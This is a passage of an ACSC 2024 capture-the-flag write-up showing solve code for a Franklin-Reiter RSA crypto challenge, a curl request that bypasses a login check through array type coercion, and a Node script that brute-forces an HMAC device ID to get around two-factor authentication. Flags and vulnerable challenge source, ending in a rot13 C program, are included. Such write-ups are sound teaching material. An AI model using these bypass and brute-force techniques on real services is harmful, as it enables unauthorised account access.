class="mi">13</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="o">-</span><span class="mi">14</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="o">-</span><span class="mi">15</span><span class="p">]:</span>
    <span class="k">print</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">i</span><span class="o">*</span><span class="n">diff_base</span><span class="p">)</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">franklinReiter</span><span class="p">(</span><span class="n">i</span> <span class="o">*</span> <span class="n">diff_base</span><span class="p">)</span>
    <span class="k">if</span> <span class="nb">pow</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="mi">13337</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">!=</span> <span class="n">c1</span><span class="p">:</span>
        <span class="k">continue</span>
<span class="c1"># i = -5
</span>
    <span class="c1"># just hacky way to get flag
</span>    <span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">)))</span>
    <span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">)).</span><span class="nb">hex</span><span class="p">())</span>
    <span class="k">print</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\x01</span><span class="s">"</span><span class="p">,</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">))))</span>
    <span class="k">break</span>

<span class="c1">#ACSC{O4EP_+_broken_M6F_+_broken_PRN6_=_Textbook_RSA_30f068a6b0db16ab7aa42c85be174e6854630d254f54dbc398e725a10ce09ac7}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h2 id="web">Web</h2>

<h3 id="login">Login!</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>authored by splitline

Here comes yet another boring login page ... http://login-web.chal.2024.ctf.acsc.asia:5000
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="login_chal">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-login_chal">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#login_chal-content" aria-expanded="true" aria-controls="login_chal-content">
         <p>Show app.js</p>
 
      </button>
    </p>
    <div id="login_chal-content" class="accordion-collapse collapse" aria-labelledby="hd-login_chal" data-bs-parent="#login_chal">
      <div class="accordion-body pb-0">
          
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="rouge-code"><pre><span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">express</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">crypto</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">crypto</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">FLAG</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">FLAG</span> <span class="o">||</span> <span class="dl">'</span><span class="s1">flag{this_is_a_fake_flag}</span><span class="dl">'</span><span class="p">;</span>

<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">express</span><span class="p">.</span><span class="nx">urlencoded</span><span class="p">({</span> <span class="na">extended</span><span class="p">:</span> <span class="kc">true</span> <span class="p">}));</span>

<span class="kd">const</span> <span class="nx">USER_DB</span> <span class="o">=</span> <span class="p">{</span>
    <span class="na">user</span><span class="p">:</span> <span class="p">{</span>
        <span class="na">username</span><span class="p">:</span> <span class="dl">'</span><span class="s1">user</span><span class="dl">'</span><span class="p">,</span>
        <span class="na">password</span><span class="p">:</span> <span class="nx">crypto</span><span class="p">.</span><span class="nx">randomBytes</span><span class="p">(</span><span class="mi">32</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="dl">'</span><span class="s1">hex</span><span class="dl">'</span><span class="p">)</span>
    <span class="p">},</span>
    <span class="na">guest</span><span class="p">:</span> <span class="p">{</span>
        <span class="na">username</span><span class="p">:</span> <span class="dl">'</span><span class="s1">guest</span><span class="dl">'</span><span class="p">,</span>
        <span class="na">password</span><span class="p">:</span> <span class="dl">'</span><span class="s1">guest</span><span class="dl">'</span>
    <span class="p">}</span>
<span class="p">};</span>

<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">`
    &lt;html&gt;&lt;head&gt;&lt;title&gt;Login&lt;/title&gt;&lt;link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"&gt;&lt;/head&gt;
    &lt;body&gt;
    &lt;section&gt;
    &lt;h1&gt;Login&lt;/h1&gt;
    &lt;form action="/login" method="post"&gt;
    &lt;input type="text" name="username" placeholder="Username" length="6" required&gt;
    &lt;input type="password" name="password" placeholder="Password" required&gt;
    &lt;button type="submit"&gt;Login&lt;/button&gt;
    &lt;/form&gt;
    &lt;/section&gt;
    &lt;/body&gt;&lt;/html&gt;
    `</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="p">{</span> <span class="nx">username</span><span class="p">,</span> <span class="nx">password</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">username</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">6</span><span class="p">)</span> <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">Username is too long</span><span class="dl">'</span><span class="p">);</span>

    <span class="kd">const</span> <span class="nx">user</span> <span class="o">=</span> <span class="nx">USER_DB</span><span class="p">[</span><span class="nx">username</span><span class="p">];</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">user</span> <span class="o">&amp;&amp;</span> <span class="nx">user</span><span class="p">.</span><span class="nx">password</span> <span class="o">==</span> <span class="nx">password</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">username</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">guest</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">Welcome, guest. You do not have permission to view the flag</span><span class="dl">'</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">`Welcome, </span><span class="p">${</span><span class="nx">username</span><span class="p">}</span><span class="s2">. Here is your flag: </span><span class="p">${</span><span class="nx">FLAG</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">Invalid username or password</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">5000</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Server is running on port 5000</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>The website hosts a simple login page. 
If we look at the login route, our username is first used to retrieve the user object, then our password is checked. 
Lastly, it checks if our username is “guest” and prevents us from viewing the flag if that’s the case. 
Notice that <code class="language-plaintext highlighter-rouge">username === 'guest'</code> is a strict comparison while all other checks are loose. 
This means that if <code class="language-plaintext highlighter-rouge">username</code> is somehow an array, this comparison will always fail. 
On the other hand, <code class="language-plaintext highlighter-rouge">const user = USER_DB[username];</code> will retrieve the user even when <code class="language-plaintext highlighter-rouge">username</code> is an object. 
It’ll try to coerce the object into a string and use that as the index instead. 
We abuse this to login as guest but still retrieve the flag.</p>

<p><code class="language-plaintext highlighter-rouge">curl http://login-web.chal.2024.ctf.acsc.asia:5000/login -X POST --data 'username[]=guest&amp;password=guest'</code></p>

<p><code class="language-plaintext highlighter-rouge">ACSC{y3t_an0th3r_l0gin_byp4ss}</code></p>

<h3 id="too-faulty">Too Faulty</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>authored by tsolmon

The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are given a login page where we can create accounts and login. You can then setup two factor authentication, which will make it required for future logins. Lastly, when you login with two factor authentication enabled, the website will ask if you want to remember the browser.</p>

<p>Let’s see how the website “remembers” your device.</p>

<div class="accordion mb-2" id="faulty_chal">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-faulty_chal">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#faulty_chal-content" aria-expanded="true" aria-controls="faulty_chal-content">
         <p>Show login.js</p>
 
      </button>
    </p>
    <div id="faulty_chal-content" class="accordion-collapse collapse" aria-labelledby="hd-faulty_chal" data-bs-parent="#faulty_chal">
      <div class="accordion-body pb-0">
          
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
</pre></td><td class="rouge-code"><pre><span class="nb">document</span>
  <span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">loginForm</span><span class="dl">"</span><span class="p">)</span>
  <span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">submit</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>

    <span class="kd">const</span> <span class="nx">username</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">username</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span>
    <span class="kd">const</span> <span class="nx">password</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">password</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span>
    <span class="kd">const</span> <span class="nx">browser</span> <span class="o">=</span> <span class="nx">bowser</span><span class="p">.</span><span class="nx">getParser</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nb">navigator</span><span class="p">.</span><span class="nx">userAgent</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">browserObject</span> <span class="o">=</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">getBrowser</span><span class="p">();</span>
    <span class="kd">const</span> <span class="nx">versionReg</span> <span class="o">=</span> <span class="nx">browserObject</span><span class="p">.</span><span class="nx">version</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/^</span><span class="se">(\d</span><span class="sr">+</span><span class="se">\.\d</span><span class="sr">+</span><span class="se">)</span><span class="sr">/</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">version</span> <span class="o">=</span> <span class="nx">versionReg</span> <span class="p">?</span> <span class="nx">versionReg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">unknown</span><span class="dl">"</span><span class="p">;</span>
    <span class="kd">const</span> <span class="nx">deviceId</span> <span class="o">=</span> <span class="nx">CryptoJS</span><span class="p">.</span><span class="nx">HmacSHA1</span><span class="p">(</span>
      <span class="s2">`</span><span class="p">${</span><span class="nx">browserObject</span><span class="p">.</span><span class="nx">name</span><span class="p">}</span><span class="s2"> </span><span class="p">${</span><span class="nx">version</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="dl">"</span><span class="s2">2846547907</span><span class="dl">"</span>
    <span class="p">);</span>

    <span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">/login</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
      <span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span>
      <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
        <span class="dl">"</span><span class="s2">Content-Type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">application/json</span><span class="dl">"</span><span class="p">,</span>
        <span class="dl">"</span><span class="s2">X-Device-Id</span><span class="dl">"</span><span class="p">:</span> <span class="nx">deviceId</span><span class="p">,</span>
      <span class="p">},</span>
      <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span> <span class="nx">username</span><span class="p">,</span> <span class="nx">password</span> <span class="p">}),</span>
    <span class="p">})</span>
      <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">response</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">redirected</span><span class="p">)</span> <span class="p">{</span>
          <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">response</span><span class="p">.</span><span class="nx">url</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">ok</span><span class="p">)</span> <span class="p">{</span>
          <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">().</span><span class="nx">then</span><span class="p">((</span><span class="nx">data</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">redirect</span><span class="p">)</span> <span class="p">{</span>
              <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">redirect</span><span class="p">;</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
              <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">;</span>
            <span class="p">}</span>
          <span class="p">});</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
          <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Login failed</span><span class="dl">"</span><span class="p">);</span>
        <span class="p">}</span>
      <span class="p">})</span>
      <span class="p">.</span><span class="k">catch</span><span class="p">((</span><span class="nx">error</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Error:</span><span class="dl">"</span><span class="p">,</span> <span class="nx">error</span><span class="p">);</span>
      <span class="p">});</span>
  <span class="p">});</span>

<span class="kd">function</span> <span class="nx">redirectToRegister</span><span class="p">()</span> <span class="p">{</span>
  <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/register</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>If we look at login.js, you’ll notice that it’s not just grabbing the username and password. It’s also taking a deviceId, which is calculated from your browser name and version, and attaching that as an <code class="language-plaintext highlighter-rouge">X-Device-Id</code> header in the post request.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="kd">const</span> <span class="nx">browser</span> <span class="o">=</span> <span class="nx">bowser</span><span class="p">.</span><span class="nx">getParser</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nb">navigator</span><span class="p">.</span><span class="nx">userAgent</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">browserObject</span> <span class="o">=</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">getBrowser</span><span class="p">();</span>
    <span class="kd">const</span> <span class="nx">versionReg</span> <span class="o">=</span> <span class="nx">browserObject</span><span class="p">.</span><span class="nx">version</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/^</span><span class="se">(\d</span><span class="sr">+</span><span class="se">\.\d</span><span class="sr">+</span><span class="se">)</span><span class="sr">/</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">version</span> <span class="o">=</span> <span class="nx">versionReg</span> <span class="p">?</span> <span class="nx">versionReg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">unknown</span><span class="dl">"</span><span class="p">;</span>
    <span class="kd">const</span> <span class="nx">deviceId</span> <span class="o">=</span> <span class="nx">CryptoJS</span><span class="p">.</span><span class="nx">HmacSHA1</span><span class="p">(</span>
      <span class="s2">`</span><span class="p">${</span><span class="nx">browserObject</span><span class="p">.</span><span class="nx">name</span><span class="p">}</span><span class="s2"> </span><span class="p">${</span><span class="nx">version</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="dl">"</span><span class="s2">2846547907</span><span class="dl">"</span>
    <span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>If you play around with the website a little bit, you’ll find out admin has a really bad credential <code class="language-plaintext highlighter-rouge">admin:admin</code>, but we’re blocked by two factor authentication. 
What if the admin had remembered some device somewhere? 
The deviceId seems easy enough to bruteforce since there are only so many versions and browsers out there. 
That seems to be the case, and you just bruteforce the deviceId with a simple script to get the flag 😊</p>

<p><code class="language-plaintext highlighter-rouge">ACSC{T0o_F4ulty_T0_B3_4dm1n}</code></p>

<blockquote>
  <p>There is another solution by @lebr0ni - Just bruteforce the one time password used for the two factor authentication. 
Even though there is a captcha on the two factor authentication page, it can be reused for the same session id.
Therefore, you can try different passwords using the same captcha.</p>
</blockquote>

<div class="accordion mb-2" id="faulty_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-faulty_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#faulty_solve-content" aria-expanded="true" aria-controls="faulty_solve-content">
         <p>Show solve.js</p>
 
      </button>
    </p>
    <div id="faulty_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-faulty_solve" data-bs-parent="#faulty_solve">
      <div class="accordion-body pb-0">
          
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="rouge-code"><pre><span class="kd">const</span> <span class="nx">request</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">request</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">CryptoJS</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">crypto-js</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">const</span> <span class="nx">username</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">admin</span><span class="dl">"</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">password</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">admin</span><span class="dl">"</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">browser</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Chrome</span><span class="dl">"</span><span class="p">;</span> <span class="c1">//"Firefox"</span>
<span class="c1">// found 110 through previous trials</span>
<span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">150</span><span class="p">;</span> <span class="nx">i</span><span class="o">&gt;=</span><span class="mi">100</span><span class="p">;</span> <span class="nx">i</span><span class="o">-=</span><span class="mi">1</span><span class="p">){</span>
  <span class="kd">let</span> <span class="nx">version</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="nx">i</span><span class="p">}</span><span class="s2">.0`</span><span class="p">;</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`</span><span class="p">${</span><span class="nx">browser</span><span class="p">}</span><span class="s2"> </span><span class="p">${</span><span class="nx">version</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
  <span class="kd">let</span> <span class="nx">deviceId</span> <span class="o">=</span> <span class="nx">CryptoJS</span><span class="p">.</span><span class="nx">HmacSHA1</span><span class="p">(</span>
    <span class="s2">`</span><span class="p">${</span><span class="nx">browser</span><span class="p">}</span><span class="s2"> </span><span class="p">${</span><span class="nx">version</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">2846547907</span><span class="dl">"</span>
  <span class="p">);</span>

  <span class="kd">let</span> <span class="nx">cookieJar</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">jar</span><span class="p">()</span>
  <span class="nx">request</span><span class="p">.</span><span class="nx">post</span><span class="p">({</span>
    <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
      <span class="dl">"</span><span class="s2">Content-Type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">application/json</span><span class="dl">"</span><span class="p">,</span>
      <span class="dl">"</span><span class="s2">X-Device-Id</span><span class="dl">"</span><span class="p">:</span> <span class="nx">deviceId</span><span class="p">,</span>
    <span class="p">},</span>
    <span class="na">url</span><span class="p">:</span> <span class="dl">'</span><span class="s1">http://toofaulty.chal.2024.ctf.acsc.asia:80/login</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">jar</span><span class="p">:</span> <span class="nx">cookieJar</span><span class="p">,</span>
    <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span> <span class="nx">username</span><span class="p">,</span> <span class="nx">password</span> <span class="p">}),</span>
  <span class="p">},</span> <span class="p">(</span><span class="nx">error</span><span class="p">,</span> <span class="nx">response</span><span class="p">,</span> <span class="nx">body</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">body</span><span class="p">,</span> <span class="nx">i</span><span class="p">,</span> <span class="nx">deviceId</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">body</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="dl">'</span><span class="s1">2fa</span><span class="dl">'</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">){</span>
      <span class="nx">request</span><span class="p">.</span><span class="kd">get</span><span class="p">({</span>
        <span class="na">jar</span><span class="p">:</span> <span class="nx">cookieJar</span><span class="p">,</span>
        <span class="na">url</span><span class="p">:</span> <span class="dl">'</span><span class="s1">http://toofaulty.chal.2024.ctf.acsc.asia:80/</span><span class="dl">'</span><span class="p">,</span>
      <span class="p">},</span> <span class="p">(</span><span class="nx">error</span><span class="p">,</span> <span class="nx">response</span><span class="p">,</span> <span class="nx">body</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">body</span><span class="p">);</span>
      <span class="p">})</span>
    <span class="p">}</span>
  <span class="p">})</span>
<span class="p">}</span>
<span class="c1">// ACSC{T0o_F4ulty_T0_B3_4dm1n}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h2 id="pwn">Pwn</h2>

<h3 id="rot13">rot13</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>authored by ptr-yudai

This is the fastest implementation of ROT13!

nc rot13.chal.2024.ctf.acsc.asia 9999
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
</pre></td><td class="rouge-code"><pre><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span>
<span class="cp">#define ROT13_TABLE                                                   \
  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"  \
  "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  \
  "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"  \
  "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  \
  "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42"  \
  "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f"  \
  "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62"  \
  "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f"  \
  "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"  \
  "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  \
  "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"  \
  "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  \
  "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"  \
  "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  \
  "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"  \
  "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
</span>
<span class="kt">void</span> <span class="nf">rot13</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">table</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Result: "</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
    <span class="n">putchar</span><span class="p">(</span><span class="n">table</span><span class="p">[</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]]);</span>
